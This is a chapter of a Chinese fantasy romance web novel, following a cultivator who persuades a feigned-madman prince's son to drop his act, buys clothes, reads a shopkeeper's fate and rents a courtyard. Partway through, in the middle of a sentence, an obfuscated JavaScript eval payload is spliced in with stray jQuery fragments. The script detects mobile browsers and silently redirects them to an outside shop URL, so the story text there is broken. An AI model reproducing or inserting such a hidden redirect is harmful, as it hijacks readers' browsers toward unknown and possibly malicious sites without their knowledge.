傅玄急忙眨了两下眼睛,希望宋棠能够跟他说清楚到底是想让他做什么,但宋棠假装没看见,右手双指轻点傅玄手腕,将一股灵气渡进他体内后便道:“好了,你试试开口说话。”
“……”他哪有力气说话?傅玄薄唇紧抿,眼尾也气得泛红。
可是下一瞬,一股奇异的暖流却忽然滑过他四肢百骸,那股暖流似乎能镇痛,所过之处,上一刻还令人痛不欲生的钻心蚀骨之痛竟然转瞬间就偃旗息鼓,他身上似乎也生出些许气力……
傅玄惊讶地看向宋棠:“你……”
嘶哑的声音自喉咙溢出,他微顿,无声握紧双拳,才偏眸望向别处道:“不要轻易在人前显露自己的本事,这世道没你想的那般好。”
宋棠闻言也诧异了一瞬,没想到傅玄竟会提醒她这些,旋即却盯着他的眼睛笑了笑,附耳低声:“放心,我只在你面前显露,所以你要帮我保守秘密哦。”
傅玄左耳一烫,倏地冷脸坐起:“保密就保密,莫要捉弄我。”
突然靠他这么近,她身上的药香都快将他淹没了。
他这般反应跟小凤凰们长大开智之后便对她生出戒备的模样差不多,宋棠有点遗憾,这家伙太聪明了,不如小凤凰们好忽悠。
罢了,既然套近乎没用,那就只能用第二种方法:利诱。
“好了好了,不捉弄你,这样吧,你来鄯州多日,还不曾游玩过,今日我便带你看看鄯州城如何?”
傅玄却并未被这样的花言巧语蛊惑,冷着脸转过身来看她:“你意欲何为不妨直说,不必如此拐弯抹角。”
宋棠微默:“……好吧,那你先仔细看着。”
话落便走到崖洞堆放粮食的角落,把放在百宝袋里的粮食一摞摞地拿出来,三两息便摞满半个山洞。
傅玄眼底倏然落下一片阴翳:“够了,不用再拿,本世子已知晓你想做什么。”
宋棠闻言欣喜地看向他,一边拍掉手上的粉尘一边夸赞道:“傅世子果然聪慧。”
傅玄哼笑,脸上没有半点开心模样:“宋大师如此谬赞,我可受不起。你让我蹚这滩浑水,就不怕平西王府的人找到我?”
宋棠收回半崖洞的粮食,闻言不禁向他走近一步,皱眉道:“我们签了契书的,你可不要生出一些不该有的念头。
况且我有很多隐匿行踪的办法,就算平西王府的人查到你的踪迹,我也会在他们找来之前把你带走。”
傅玄定定与她对视:“你应当知晓,我在平西王府已经当了十八年的傻子。”
宋棠颔首:“嗯,我知晓。”
傅玄:“那你凭什么以为我会为了他人而暴露自己?”
宋棠轻轻摇头:“我没这么以为,只是,难道你要一辈子都装疯卖傻吗?”
“你……此言何意?”
傅玄微怔,心头那股不断攀升的郁气似乎忽然被人栓住。
宋棠又走近他一步,道:“就是字面的意思,你难道不觉得,我将你从平西王府掳走这件事,是一个很适合你恢复正常的契机吗?”
傅玄幼时装傻是不得已而为之,那时他太小,无力抗衡欺辱他的庶母,也不知平西王装聋作哑的真面目,他想在平西王府那样一个吃人的深宅中存活,只能让自己变成一个对所有人都没有威胁的傻子。
可如今不一样了。
他已经长大,已经离开吃人不吐骨的王府,而且他身边有她,她有能力护住他的性命,所以,傅玄完全可以做出另外一种选择。
装成傻子,让男女主毫无防备地喝下他送的毒酒固然可以报仇,但这种报仇方法太憋屈了,完全无法充分的发泄心底仇恨。
宋棠双目灼灼,眼底一闪而过的血腥杀戮让此刻的她看起来半点都不像是仙门修士,反而更像那蛊惑人心欲望的魔。
傅玄神色果然有所松动:“我,需要时间考虑。”
牵一发而动全身,倘若他放弃伪装,那么从前的布局便会功亏一篑,平西王向来疑心重,一旦知晓他神智恢复清醒,定会彻查王府和平西军,届时,他暗中安插的人免不了会受殃及。
除非,他能在平西王察觉一切之前,杀了他……
宋棠闻言又笑了,“好,那我现在要去城中卖衣裳的铺子,你要一起去吗?”
傅玄垂眸:“我等你回来。”
宋棠点点头:“嗯,也好,希望回来时能听到你的答案。”话落,她再次在崖洞内设下保护阵,而后才闪身离开。
*
宋棠手里的银子不多,只有五两,如今鄯州不止米贵,布料也不便宜,从前几十文一身的棉布衣裳,眼下少说都要四五钱银子。
可傅玄若愿意出面治理鄯州,那肯定不能穿着棉麻衣裳去跟鄯州官员、还有谢家人碰面。
只是若要买贵的,宋棠手里的银子显然不够。
她逛了几家成衣铺子,就是绫罗绸缎里最便宜的素绫衣裳都要小十两银子才能买到。
“姑娘,可有看中的?”
成衣铺的老板娘见她进进出出好几家衣裳铺子都没买到合心意的衣裳,眼珠一转,不由上前招揽:“若一楼没有合你心意的,姑娘不妨与我上二楼看看?”
说着,她凑近宋棠,压低声音悄悄道:“二楼的衣裳可都是好料子,价钱也便宜。”
宋棠垂眸:“便宜?有多便宜?”
这会儿铺子里并无他人,老板娘挽住宋棠的手便带着她上楼,边走边小声道:“不论何种料子,皆只要楼下衣裳一半的价钱,你说便宜不便宜?”
说话间,二人已行至二楼。
老板娘当即热情的在各色衣裳间旋转,“这是店里最好的染纱罗,是从京城传来的,整个鄯州城都没几件,姑娘,你若是想要,只要一百两,我便卖给你。”
宋棠微微点头:“是好料子,但太贵了。”
这话在老板娘的意料之中。
她半点不恼,立刻便又转到另一套璀璨绚丽的衣裳跟前,兴冲冲道:“女郎剪下鸳鸯锦,将向中流匹晚霞,这般美的诗便是大诗人赞美蜀锦之作,姑娘你看看这纹样,看看这绣工,这在鄯州难得一见啊,你看只要八十两银子,我便忍痛卖给你如何?”
这套蜀锦衣裳的确也不错,但宋棠还是那句话:“太贵。”
老板娘素来长袖善舞,闻言立即笑道:“无妨无妨……”
接着又是一个转身,便来到一套如梦似幻的衣裳跟前:“姑娘看看这件,此乃云雾绡——”
“我要买男衣。”宋棠打断她,不想再听她舌灿莲花:“而且,我没有穿死人衣裳的癖好。”
老板娘脸色一变,眉眼瞬间冷下来:“姑娘慎言,我家衣裳铺子里可没有死人的东西,你若买不起衣裳便速速离开,莫要在此胡言乱语!”
早在看到这些衣裳那刻,宋棠便已不打算在这间铺子买衣裳,之所以还愿意听老板娘说那些话,只是想帮老板娘争到一分生机。
“看在你辛苦讲解衣裳的份上,我送你一卦。”
宋棠说着,闭目掐诀。
老板娘闻言脸上却尽显刻薄,上前抓着宋棠便往楼下推:“滚滚滚,别挡老娘的道,要骗骗别人去!老娘才没工夫听你这个臭丫头坑蒙拐骗!”
“……”
宋棠一路被推到楼下,忽然有些不想把自己的卦说出口了。
不过最后还是遵循了师父的教导,在老板娘把她赶出店铺的夹缝中道:“你三日内有一死劫,收拾细软……去京城投奔亲戚可解……”
“滚滚滚!快滚!再不滚老娘报官抓你!”老板娘却半点都听不进去,只一个劲地把宋棠往外赶。
卦刚说完,宋棠就被推出铺门,她掸掸被老板娘抓过的衣裳,抬手道:“行行行,我这就滚,又不收你的卦金,这么气恼做什么。”
话落转身就走。
若不是师父说人和人之间相逢即是有缘,只要不是大奸大恶之人,她们修行之人便都该以善待之,她才不会管这桩闲事。
如今该说的话已经说了,老板娘听与不听都是她自己的事。
宋棠不会在她身上浪费功夫。
这般想着,宋棠又拐进街尾的一家成衣铺子,很快便花一两二钱银子给傅玄和自己各买了两身厚实棉衣,而后才向面相和善的店主夫妻打听:“您二位可认识靠谱的牙人?我与兄长刚来鄯州,想租间院子住。”
“这倒是巧了,我娘家侄子便在鄯州最大的牙行做牙人,姑娘若是愿意,我现在便可带你去找他。”中年妇人热心道。
宋棠立马笑了笑:“愿意,我当然愿意,只是不知鄯州的房子贵不贵,我与兄长能不能租得起……”
“不贵,两身棉布衣裳的钱便能租到一间不错的院子,走,姑娘,我带你去牙行。”
妇人说着撂下手里的活计,取出身后两件厚厚的棉布氅衣,一件围到自己身上,一件递给宋棠道:“天太冷了,这件是我的,姑娘若不嫌弃便先将就着穿,待看完院子,再让我侄儿把氅衣给我捎回家就是。”
宋棠从善如流地接过:“多谢。”
她并不冷,但她知道这是妇人的一片心意。
两人这便携手上路,不时闲聊。
于是宋棠很快便知晓,中年妇人姓王,这条商铺林立的街道名唤谢家道,曾经整条街都是陈州谢家族人的产业,但如今来鄯州定居的谢家族人已经败落,据说手里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17763833|206396||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
只剩下两三家铺子勉强撑门面。
其中一家,便是位于谢家道中央黄金位置的牙行。
不过牙行的东家从三年前便已经不是谢家人,确切来说,谢家道里已经没有谢家人经营的铺子了,仅余的几间铺子,他们也只是用来收租金。
“这么大一条街都没了,他们是做生意亏了钱吗?”
“谢家家大业大,怎会亏钱?他们是得罪了钱家……”
王大娘悄悄压低声音,拉过宋棠对她耳语:“若不是钱家院子被烧成了灰,我都不敢你说这些,姑娘,你记住,以后不管去哪儿,但凡遇见钱、赵、郑、孙这四家的公子小姐,你都要躲得远远的,千万莫得罪他们……”
钱赵郑孙?竟还有一个郑家?
宋棠暗暗记下此事,敛眸道:“我知晓了,多谢您指点。”
见她乖巧懂事,王大娘在路上又断断续续跟她说了不少这四家公子小姐们鱼肉乡里的恶行。
及至牙行,宋棠已经听得咬牙切齿,王大娘也越说越气愤,恨不得现在就去把那些人捆起来打一顿。
幸好王大娘的侄子就在牙行门口守着揽客,一见自己姑姑满脸义愤填膺,他不禁急叹一声,匆匆跑到王大娘跟前道:“姑姑,您又跟旁人乱说什么了,那些个富贵人家可不是咱们能编排的。”
王大娘闻言明显心虚:“我…我没说什么,不信你问宋姑娘,我们两人就是说些家常,哪敢编排别人?”
“宋姑娘?”年轻男子看着宋棠作了作揖,道:“不管姑姑方才说了什么,都请姑娘不要放在心上,都是老人胡言乱语罢了。”
王大娘听不得这话:“臭小子!我哪儿老了?我今年不过才两个双十!”
“是是是,是侄儿说错了话,姑姑您风华正茂,不老不老。”
宋棠明白年轻牙人话里的意思,很是配合:“我们没说什么,确实只聊了些家常。”
牙人意会,又朝宋棠拱了拱手:“多谢宋姑娘。”
王大娘这会儿也被侄子哄开怀了,接着就道:“宋姑娘跟她兄长初来鄯州,想赁间院子住,你手中可有适合他们兄妹二人住的院子?邻里要和善些,价格也莫要太贵。”
牙人略一沉思,很快回道:“有的有的,我手中有两套这样的院子,一套在四宝街,一套在七宝街,宋姑娘若有时间,我现在便可带你去看看。”
宋棠轻轻点头:“好。”
四宝街、七宝街……这两条街倒是跟她有缘分。
牙人闻言便道:“那请宋姑娘稍等片刻,我去取店里的马车来。”
他话音一落便急匆匆跑进了牙行。
王大娘替侄子解释:“大山这是去找牙行掌柜取牌子了,有了牌子,牙行后院的管事才会给他马车。”
宋棠疑惑:“每个来牙行租赁或者买院子的人,牙行都会让牙人用马车带他们去看院子吗?”
王大娘笑笑:“对,不过若是遇上富贵人家,人家的马车比车行里的好,那大山他们就不会傻乎乎的再去取牙行马车了。”
宋棠闻言便对这件牙行的印象又好了些,随意问道:“您可知牙行的东家是谁?”
虽是为了做生意,但这牙行的东家行事颇具善心,若是有缘,宋棠倒是想送他一卦。
不料王大娘却深深叹口气,摇头道:“我也不知啊,牙行东家从未来过鄯州……”
这时王大山牵了马车过来,正听见自家姑姑这番叹息扼腕之言,不禁道:“姑姑若是想见东家,来年二月可来牙行守着,我听掌柜说东家在京中过了上元节便会赶来鄯州视察铺子。”
说完又对宋棠道:“宋姑娘快上马车吧,冬日天黑得早,您住在何处?若是不远,我天黑前定送您回去。”
宋棠对鄯州地形不熟,想了想才道:“我住在城南的客栈。”
这还是之前孙铃儿一家住过的地方。
王大山闻言抬头看了看天色,便转身对王大娘道:“姑姑,城南离四宝街不算近,回来时恐怕会天黑,您若是得空,可否跟宋姑娘一块去看看院子?”
王大娘连忙点头:“得空,那我便一起去。”
宋棠就被王大娘带着上了马车。
但她有些不解,王大娘之前明明是打算把她送到牙行便回成衣铺子的,为何突然要跟她一起去看院子?
可她观这姑侄二人的面相,他们又的确是面善有福报之人……
正疑惑着,随着马车缓缓前行,王大娘也轻轻拍了拍宋棠的手,道:“别怕姑娘,有我跟你一块,旁人不会乱传你闲话的。”
闲话?宋棠倏然恍悟。
不做人太久,她竟险些忘了人族对女子的规矩有多严苛。